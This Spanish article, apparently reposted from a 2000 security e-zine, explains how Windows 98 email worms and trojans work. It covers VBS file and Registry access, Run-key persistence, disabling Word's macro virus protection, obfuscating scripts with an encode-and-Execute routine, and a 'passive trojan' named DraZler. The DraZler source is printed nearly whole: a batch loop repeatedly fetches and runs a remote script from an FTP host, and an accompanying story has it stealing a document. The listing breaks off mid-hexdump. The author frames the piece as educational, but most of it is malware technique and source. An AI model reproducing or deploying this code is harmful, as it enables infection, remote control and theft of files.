I-Worms en Windows
Notas preliminares: Este artículo lo publiqué en NetSearch Ezine, una revista electrónica sobre seguridad informática en el 2000.
Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Windows 98. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como evitar ser infectado.
En los tiempos que corren podemos leer en la prensa, en la televisión, la radio… como se habla mucho de virus de Internet, como Melissa, iloveyou…, que utilizan el correo electrónico para entrar en el sistema y “destrozarlo”.
Estos gusanos se han extendido por todo el mundo, y son temidos por la sociedad, aunque realmente no son tan catastróficos como los pintan.
Pero… ¿cual es la verdadera razón de que se hayan extendido a tan gran escala? Pues sencillamente que se extienden de la misma forma que se extendió en su día el famoso programa de Microsoft, Windows. Todos estos gusanos se extienden utilizando las herramientas que nos ofrece la propia Microsoft, ya que solo afectan a las aplicaciones de dicha empresa.
El virus Melissa, tan famoso el año pasado, utilizaba el lenguaje de macros de Microsoft Word y la libreta de direcciones de Microsoft Outlook para sus fines. El mas reciente, iloveu, emplea el scripting de Microsoft Windows, y aprovecha la fabulosa opción de esconder las extensiones en el navegador del sistema para engañar al pobre usuario que sin tener conocimientos básicos sobre como protegerse de agresiones externas (de lo que no les culpo, ya que la culpa es de los medios, que cada vez más se empeñan en asociar la seguridad informática a los “chicos malos”). Bueno, me dejo de preambulos y comienzo este pequeño vistazo a algunas de las técnicas que se emplean para realizar estos ataques, dejando claro que el problema esta en la falta de seguridad del software, y no en la mente retorcida de ciertos cerebritos que se dedican a reventar máquinas ajenas por placer. Ni que decir tiene que todo lo que exponga aquí tiene como fin el conocer como proteger nuestra maquina de este tipo de ataques, no el difundir como utilizarlo con fines poco éticos. Por ello, ciertas partes del código que muestre estaran incompletas o capadas, para que los script-kiddies no encuentren aquí su toys’r'us particular.
Aprobecho tambien este artículo para introducir un “nuevo” (por lo menos yo no he leido nada parecido hasta ahora) concepto al que he bautizado como “Troyano Pasivo”. Lo comentará al final de este artículo, y tambien adjuntare un sencillo pero poderoso ejemplo que he escrito, llamado DraZler.
1. Visual Basic Script (VBS): Los batch de Windows
VBS es un lenguaje de scripting que posee Windows. Sería la versión más reducida de Visual Basic, seguida de VBA (Visual Basic para Aplicaciones). Son scripts muy parecidos a JavaScript, y pueden utilizarse como un batch o como script en una Web, permitiendonos utilizar los controles ActiveX en la Web.
Una de las reglas básicas para comprometer un sistema es conseguir acceso al HD del ordenador. Por ello, los scripts de Java o de VB no permiten hacerlo desde una web. Bueno, miento. Si permiten hacerlo, pero nos saltaría el control ActiveX preguntando si queremos ejecutar ese código, ya que puede comprometer la seguridad de nuestra máquina.
Una primera técnica, un tanto rudimentaria, a mi parecer, es la que utilizó el gusano iloveu. Se trata de enviar el script como un attachment en un correo electrónico. El incauto usuario posiblemente lo ejecutará, ya que si consulta la línea del remitente, vera la dirección de un amigo o familiar (ya que el virus se envía utilizando la libreta de direcciones de la máquina infectada).
Tambien aprovecha las extensiones ocultas de Windows. Llama al archivo sample.txt.vbs, quedando a la vista únicamente sample.txt, de forma se podría pensar que nos han enviado un archivo de texto plano. Una vez que el archivo sea ejecutado, podemos hacer prácticamente cualquier cosa en esa máquina.
Una técnica más eficiente, aunque no tan conocida es la que utiliza el gusano BubbleBoy. Se trata de aprovechar un bug en las librerias de scriptlet en Internet Explorer 5.0. Dicho fallo nos permite volcar un archivo de texto plano en el disco duro de la máquina sin que los controles de seguridad de ActiveX lo revelen. Dicho archivo, colocado de forma estratégica, nos permite tomar la máquina practicamente al 100%. Este archivo podría ser volcado en el directorio Inicio de Windows, como una Aplicacion HTML (.hta), de forma que al reiniciar la computadora este sería ejecutado.
1 2 | <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="id" value="Infect" /><embed id="Infect" type="application/x-shockwave-flash" width="100" height="100"></embed></object> <script type="text/javascript"><!--mce:0--></script> |
El código anterior volcaría el archivo detonante.hta en el directorio inicio de Windows. En este caso, el archivo no contendría ningun código. Esto, insertado en un email en formato HTML o en una web, infectaría al indefenso usuario que lo recibiese con Outlook 5 o que visitase la web con el explorer. Es más, si la infección llega a través del email, ni siquiera es necesario abrir el mensaje, ya que el propio Outlook ejecuta el código Javascript o VBS que contenga al utilizar la vista previa.
Al reiniciar el sistema, ese detonante seria ejecutado, abriendo una ventana, en la que se podría escribir un mensaje emulando un error. Y a partir de ahí, solo bastaría dar rienda suelta a nuestra imaginación.
Para parchear esta vulnerabilidad:
http://support.microsoft.com/support/kb/articles/Q240/3/08.ASP
El último gusano “de moda” ha sido el Life Stages. Este virus aprovecha otra vulnerabilidad de nuestro querido Windows. Se trata de utilizar el Shell Scrap de Windows. Se trata de una posibilidad bastante útil que permite empaquetar varios archivos de proceso por lotes en uno solo. El fallo esta en que por defecto, la extensión de estos archivos (SHS) nunca se mostrará, aunque tengamos activado el Mostrar Extensiones. Esto se debe a la siguiente clave del registro (que viene por defecto :P):
HKEY_CLASSES_ROOT\ShellScrap\NeverShowExt
Para solucionarlo no hay mas que renombrar esta clave por:
HKEY_CLASSES_ROOT\ShellScrap\AlwaysShowExt
2. Objetos útiles en VBS
Para escribir un gusano, un virus o un troyano en VBS, básicamente tenemos dos objetos importantes. Uno que nos permitira acceder al HD y otro al registro.
=-=-= [ Scripting.FileSystemObject ]
Este objeto contiene diversos metodos que nos permiten leer, y escribir en los dispositivos de almacenamiento masivo de la máquina.
Set ManipulacionHD = CreateObject(”Scripting.FileSystemObject”)
Para abrir un archivo de texto en modo lectura/escritura lo hariamos del siguente modo:
Set MiArchivo = ManipulacionHD.CreateObject(”path/del/archivo”,1,false)
[ Nota: Esto no es un curso de VBS, me limitaré a exponer como se utilizan los metodos para nuestros objetivos, pero no explicare para que sirven todos los parametros. Para eso ya están los libros y los tutoriales que hay por Internet ]
Para escribir en ese archivo:
MiArchivo.WriteLine(”Esta es la primera linea del archivo creado”)
MiArchivo.WriteLine(”Esta es la segunda”)
Para leer:
variable = MiArchivo.ReadLine()
(el contenido de la variable seria “Esta es la primera linea del archivo”)
Una vez terminada la secuencia, debemos cerrar el archivo para lectura escritura.
MiArchivo.Close()
Podemos tambien borrar un archivo:
ManipularHD.DeleteFile(”path\del\archivo”)
=-=-= [ WScript.Shell ]
Este objeto nos permite ejecutar programas y acceder al registro.
Set MiShell = CreateObject(”WScript.Shell”)
Para ejecutar un programa:
MiShell.Run “path/del/binario”,”0″
El 0 indica que se debe ejecutar en segundo plano.
Para escribir en el Registro:
MiShell.RegWrite “HKEY_…\ruta de la clave\clave”, “Contenido”
y para leer:
variable = MiShell.ReadReg(”HKEY_…\ruta\clave”)
(el contenido de “variable” seria “Contenido”)
Bien, conociendo esto, ya podemos hacer lo que nos propongamos.
3. Manipulando el registro
El registro de Windows es, quizá, lo más interesante de este programa. Desde allí podemos variar multitud de parametros. Uno de los más interesantes sería el de la desactivación de la protección contra virus de Microsoft Word para posteriores “entradas”.
Ejecutar.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\
Options\EnableMacroVirusProtection” , “0″
En DraZler (el troyano que adjunto al final de este articulo) se vale del registro para ocultarse a los ojos del usuario de una forma bastante curiosa.
Se trata de cambiar el puntero de trabajo en segundo plano por el mismo que tiene como puntero normal. De esta forma, puede estar realizando tareas (en este caso la de conectar una y otra vez a un ftp) sin que el puntero cambie cada 5 segundos.
Flecha = Ejecutar.RegRead(”HKEY_CURRENT_USER\Control Panel\Cursors\Arrow”)
Ejecutar.RegWrite “HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting”,Flecha
Tambien tenemos la posibilidad de colocar programas que arranquen cada vez que se inicia el sistema (del mismo modo que la carpeta inicio). Esta técnica es archiconocida, y la utilizaban los vistos hasta la saciedad Netbus y Back Orifice. Se trata de insertar una clave en alguna de las siguientes rutas del registro:
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunOnce
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunServices
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunservicesOnce
Ahora solo tienes que rebuscar un poco en el registro y encontraras multitud de cosas utiles.
4. Volcando archivos binarios en el HD
Muchas veces el VBS se nos queda corto para nuestras necesidades, y quizá un ejecutable lo solucionase, pero tenemos un problema. La gran mayoría de los usuarios no tienen un compilador de C u otro lenguaje instalado en su máquina, y aunque lo tuviese, lo mas seguro es que no conociesemos la ruta de dicho compilador, por lo que sería inútil intentar volcar un código fuente para compilarlo allí, como sería posible en *NIX. Pero hay una solución que he comentado anteriormente (Ver NetSearch Ezine No. 2). Se trata de utilizar el debug del DOS para convertir el código hexadecimal de nuestro ejecutable en un binario.
Ahora comentare para que lo he utilizado yo en DraZler. Cuando ejecutamos un programa basado en MSDOS, normalmente se abre una “shell”. En el caso de DraZler, yo necesito utilizar un Batch con un bucle infinito, lo que abre esa ventana, y lo hace totalmente visible al usuario. Para ello, se me ocurrio utilizar un acceso directo que apuntase a ese Batch. Si edito las propiedades de ese acceso directo puedo hacer que no salte la ventana, y activar ciertas opciones muy útiles, como la de que no avise de que hay un programa MSDOS corriendo en la máquina al apagar el sistema. Pero… ¿como creo un acceso directo en una máquina a la que no tengo acceso físico? Pues muy sencillo, creo el acceso directo en mi máquina, lo convierto en codigo hexadecimal, y lo vuelco en la máquina remota mediante un script VBS y debug (ver DraZler).
5. Encriptación
Dado que VBS es un script, el código siempre puede ser leído editando el archivo. Para poner las cosas más difíciles, siempre podemos utilizar una pequeña función que lo oculte, aunque si el que lo edita es un poco avispado no tendra ningun problema para descifrarla.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | Cadena = InputBox(Codigo,"MoebiuZ's Simple Encoder","Introduce la frase a codificar") For Count = 1 To Len(Cadena) If Count = 1 Then If Len(Asc(Mid(Cadena, Count,1))) = 3 Then Yimbo = Asc(Mid(Cadena, Count, 1)) ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then Yimbo = "0" & Asc(Mid(Cadena, Count, 1)) ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then Yimbo = "00" & Asc(Mid(Cadena, Count, 1)) End If ElseIf Count = Len(Cadena) Then If Len(Asc(Mid(Cadena, Count,1))) = 3 Then Pepo = Asc(Mid(Cadena, Count, 1)) Yimbo = Yimbo & Pepo ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then Pepo = "0" & Asc(Mid(Cadena, Count, 1)) Yimbo = Yimbo & Pepo ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then Pepo = "00" & Asc(Mid(Cadena, Count, 1)) Yimbo = Yimbo & Pepo End If Else If Len(Asc(Mid(Cadena, Count,1))) = 3 Then Pepo = Asc(Mid(Cadena, Count, 1)) Yimbo = Yimbo & Pepo ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then Pepo = "0" & Asc(Mid(Cadena, Count, 1)) Yimbo = Yimbo & Pepo ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then Pepo = "00" & Asc(Mid(Cadena, Count, 1)) Yimbo = Yimbo & Pepo End If End If Next Pringue = InputBox(Unused,"Codigo encriptado",Yimbo) |
Con este sencillo programa podemos codificar una a una las lineas de nuestro virus, de forma que solo seran secuencias numéricas. Hay que decir que algunas funciones de un script no se pueden codificar o no serán interpretadas correctamente.
Una vez tenemos nuestro virus codificado totalmente, solo tenemos que hacer una función que decodifique cada una de las lineas y la interprete como si no estuviese codificada.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | Function Dec(Code) For Count = 1 To Len(Code) Step 3 If Count = 1 Then DCode = Chr(Mid(Code,Count,3)) Else DCode = DCode & Chr(Mid(Code,Count,3)) End If Next End Function |
Imaginad este sencillo script:
Msgbox “AQUI SU PUBLICIDAD”
Pues encriptado con el codificador anterior quedaria del siguiente modo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | Execute(Dec(077115103098111120032034065081085073032083085032080085066076073067073068065068034)) Function Dec(Code) For Count = 1 To Len(Code) Step 3 If Count = 1 Then DCode = Chr(Mid(Code,Count,3)) Else DCode = DCode & Chr(Mid(Code,Count,3)) End If Next End Function |
6. Troyanos Pasivos: DraZler v1.0.0
Bien, como ya comenté al principio, voy a hablar de lo que se me ha dado por llamar Troyanos Pasivos.
Hasta ahora estamos acostumbrados a los tristemente famosos troyanos del tipo cliente/servidor. Infectabas una máquina con el servidor y despues accedías a ella a través del cliente, con el cual conectabas conociendo la IP de la victima. Los inconvenientes de este sistema son ovbios: existe el problema de conseguir que la víctima active un ejecutable en su máquina, y ademas, necesitamos conseguir su IP mas tarde para poder establecer una conexion. El 95,5% de las máquinas, digamos, normales, no estan conectadas 24 horas a Internet (aun con la tarifa Plana :P) y tienen una IP dinámica, por lo que tendriamos que encontrarnos con la victima en el IRC, u otras cosas para eso.
La idea de troyano pasivo consiste en que es la máquina infectada la que conecta a donde el atacante desea, y recoge de allí las instrucciones a seguir.
Por ejemplo, cuando la máquina conecta a Intenet, esta realiza una conexion a un ftp gratuito donde yo he dejado un script, un batch, o un binario, lo recoge y lo ejecuta. De esta manera tenemos la maquina controlada sin preocuparnos de si esta conectado o no, y sin saber su IP.
Para ilustrar esto, he creado un sencillo programa, completamente en VBS y Batch. Con ello quiero demostrar dos cosas; que Windows 98 NO ES SEGURO, y que es posible utilizar los propios recursos de una máquina estandar para introducirse en ella, sin necesidad de utilizar programas enlatados.
A continuación comentare a grandes rasgos y a modo de historia lo que podría hacer DraZler, pero como siempre he dicho, un codigo fuente es el mejor tutorial que puedes consultar.
” Domingo, 12:52 horas.
Los padres de Selmito acaban de salir de casa para ir a misa de una. El, como siempre, se había quedado dormido y no le daba tiempo de llegar, por lo que se levanta, se ducha, desayuna un poco y corre enseguida a su ordenador para conectarse a Internet (por fin le han puesto su tarifa plana y tiene que aprovechar que hoy es “gratis” todo el día, y así bajarse el último album de Britney Spears). Arranca su flamante Pentium 500 con 128 de RAM y su querido Windows 98 personalizado hasta los topes. Pincha sobre el icono que pone Internet y mientras su US Robotic 56K emite unos extraños pero graciosos soniditos, aprovecha para arrancar su Internet Explorer, su Outlook y su mIRC para ir ahorrando tiempo.
Cuando el sonido remite, teclea en su navegador la dirección de Terra para enviar un mensaje al movil que se acaba de comprar su compañero de clase. Mientras carga la Web, pulsa el botón “Enviar y Recibir” en el Outlook, para bajarse el correo. Selmito esboza, como todos los dias una sonrisita al ver como su Outlook se baja el correo de la cuenta de su padre y a continuación el de la suya. Todavia recuerda como fardó con sus colegas cuando configuró el solito las dos cuentas en el mismo cliente de correo. De pronto siente una gran curiosidad al ver que el asunto de uno de los mensajes de su padre dice asi “IMPORTANTE”. Sabe que no debe leerlo porque no es suyo, pero como el entiende mas de informática que su padre, decide leerlo por la vista previa y asi dejarlo como no leido. Pronto pierde el interés al ver que el cuerpo del mensaje apenas dice una sarta de estupideces sobre el negocio de su padre, el cual nunca le interesó a él (Eso de ser el editor de una revista del corazón no es muy divertido).
En ese momento escucha como alquien esta abriendo la puerta de entrada, y apaga el ordenador.
…
(Mientras, en las entrañas del Pentium 500 con 128 de RAM)
El viaje a traves de Internet dando saltos de servidor en servidor lo habia dejado hecho polvo. Cuando por fin llego a la maquina destino, DraZler, el pequeño gusano se dejo caer a través de Outlook en el directorio inicio de Windows gracias a sus queridas librerias Scriptlet. Por fin encontro una forma un poco más cómoda en la mutacion HTA. Despues de tan largo viaje a traves de lineas de cobre, cables de fibra óptica y ondas, decidio descansar hasta la próxima inicialización del sistema.
Domingo, 14:23 horas.
El padre de Selmito enciende el ordenador de casa. Tiene que terminar un artículo para el Martes, ya que es una gran exclusiva que no debe salir antes en ninguna otra publicación. Abre su Microsoft Word y comienza a escribir un largo y movidito artículo de 34 paginas, con todo lujo de detalles. -”La competencia lo va flipar” - se decía a si mismo.
…
Al arrancar el sistema, DraZler decidió activarse de nuevo, dividiendose en varios archivos VBS y Batch. Activó en el registro su “despertador”, para que cada vez que iniciase el sistema le despertase. Volco un acceso directo para despertarse sin “hacer ruido”. DraZler pudo comprobar que esta máquina no estaba todo el día comunicada con el exterior, asi que decidió realizar una conexión ftp con la dirección que le habia dado su jefe una y otra vez, hasta que el canal modulador/demodulador estableciese un enlaze con la RED. Se dio cuenta de que esto era demasiado “ruidoso”, ya que estaba utilizando un Batch con bucle infinito que llamaba al ftp.exe de Windows, de modo que hizo un pequeño apaño en el registro tocando los punteros del escritorio para que el dichoso relojito no apareciese cada dos por tres. Bien, solo quedaba esperar a que se estableciese esa comunicación y así poder recoger las ordenes de su jefe en el ftp.
Domingo, 18:36 horas
Selmito conectaba desesperado su ordenador a Internet, harto ya de hacer los deberes del Lunes. Ademas, hoy estaba nervioso, habia quedado con una chica en el IRC, que debia estar para comersela segun la foto que esta le habia enviado.
Se llamaba Sheila.
…
¡Al fin! Por fin se abrían las puertas. DraZler se dirigió a zeus.gratisftp.org y allí recogió ord.vbs. Eran las ordenes de su jefe. Este le pedía el archivo c:\mis documentos\*rod*men*. Pues allí se fue. Al llegar a c:\mis documentos encontro un archivo llamado exclusiva.doc. Pues nada, establecio de nuevo una conexion ftp y subió alli el archivillo.
Lunes, 13:05 horas
El padre de Selmito no se lo podía creer. El artículo sobre la boda del codiciado abogado habia salido en una publicación de la competencia. ¡Pero como! Era una exclusiva. Le habían tomado el pelo…
…
DraZler ya se habia asentado y acomodado a este su nuevo hogar, y disfrutó de su trabajo y sus escapaditas esporadicas a zeus.gratisftp.com durante un espacio de 7 meses y 4 dias, hasta que Selmito abrió una foto de Sheila llamada en_la_ducha.exe y el disco duro de su ordenador comenzo a girar…”
En fin, despues de este culebrón, solo queda que vosotros mismos veais como funciona este bichejo. Solo comentar que este es el código para infectar la máquina, y que de ir adjunto en un HTML o en un email para Outlook tiene que ser modificado para adaptarlo. Por favor, no lo utiliceis, solo es una ilustración de este artículo, ademas, posee un fallo que hará sospechar a la persona infectada.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 | // DraZler Passive Trojan v1.1.2 VBS/BATCH Coded // // DO NOT DISTRIBUTE. THIS IS AN EXPERIMENTAL AND INVESTIGATION SAMPLE On Error Resume Next Set AccesoHD = CreateObject("Scripting.FileSystemObject") Set Ejecutar = CreateObject("WScript.Shell") Set DraZ = AccesoHD.CreateTextFile("C:\WINDOWS\drazler.vbs",1,false) DraZ.WriteLine("On Error Resume Next") DraZ.WriteLine("Set Ejecutar = CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ")") DraZ.WriteLine("Set AccesoHD = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")") DraZ.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" & Chr(34) & "C:\draz.bat" & Chr(34) & ",1,false)") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "@echo off" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & ":reiniciar" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo user milogin miclave > C:\rank.sys" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo get done C:\done >> C:\rank.sys" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo get ord.vbs C:\ord.vbs >> C:\rank.sys" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo delete ord.vbs >> C:\rank.sys" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "echo bye >> C:\rank.sys" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & ":repetir" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if not exist C:\rank.sys goto reiniciar" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "ftp -n -v -s:C:\rank.sys mi.ftp.com" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if exist C:\done goto ejecutar" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "goto repetir" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & ":ejecutar" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "@if exist C:\ord.vbs wscript C:\ord.vbs" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "del C:\done" & Chr(34) & ")") DraZ.WriteLine("Ftp.WriteLine(" & Chr(34) & "del C:\rank.sys" & Chr(34) & ")") DraZ.WriteLine("Ftp.Close()") DraZ.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" & Chr(34) & ", " & Chr(34) & "C:\WINDOWS\wscript.exe C:\WINDOWS\dinit.vbs" & Chr(34)) DraZ.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" & Chr(34) & " , " & Chr(34) & "0" & Chr(34)) DraZ.WriteLine("Flecha = Ejecutar.RegRead(" & Chr(34) & "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" & Chr(34) & ")") DraZ.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" & Chr(34) & ", Flecha") DraZ.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\DraZler\" & Chr(34) & "," & Chr(34) & "An InfoBioGenetic Industries Production." & Chr(34)) DraZ.WriteLine("Ejecutar.RegWrite " & Chr(34) & "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" & Chr(34) & "," & Chr(34) & "DraZler Passive Trojan." & Chr(34)) DraZ.WriteLine("Ejecutar.Run " & Chr(34) & "C:\draz.bat" & Chr(34) & "," & Chr(34) & "0" & Chr(34)) DraZ.Close() Set DraZInit = AccesoHD.CreatetextFile("C:\WINDOWS\dinit.vbs",1,false) DraZInit.WriteLine("On Error Resume Next") DraZInit.WriteLine("Set Ejecutar = CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ")") DraZInit.WriteLine("Ejecutar.Run " & Chr(34) & "C:\WINDOWS\drazler.pif" & Chr(34) & "," & Chr(34) & "0" & Chr(34)) DraZInit.Close() Set DrazSrcPif = AccesoHD.CreatetextFile("C:\draz.src",1,false) DrazSrcPif.WriteLine("N c:\windows\drazler.pif") DrazSrcPif.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ") DrazSrcPif.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ") DrazSrcPif.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C 77 ") DrazSrcPif.WriteLine("E 0130 73 63 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 44 4F 57 53 00 ") DrazSrcPif.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C ") DrazSrcPif.WriteLine("E 01B0 64 72 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ") DrazSrcPif.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ") DrazSrcPif.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ") DrazSrcPif.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ") DrazSrcPif.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ") DrazSrcPif.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C ") DrazSrcPif.WriteLine("E 02D0 64 72 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ") DrazSrcPif.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ") DrazSrcPif.WriteLine("E 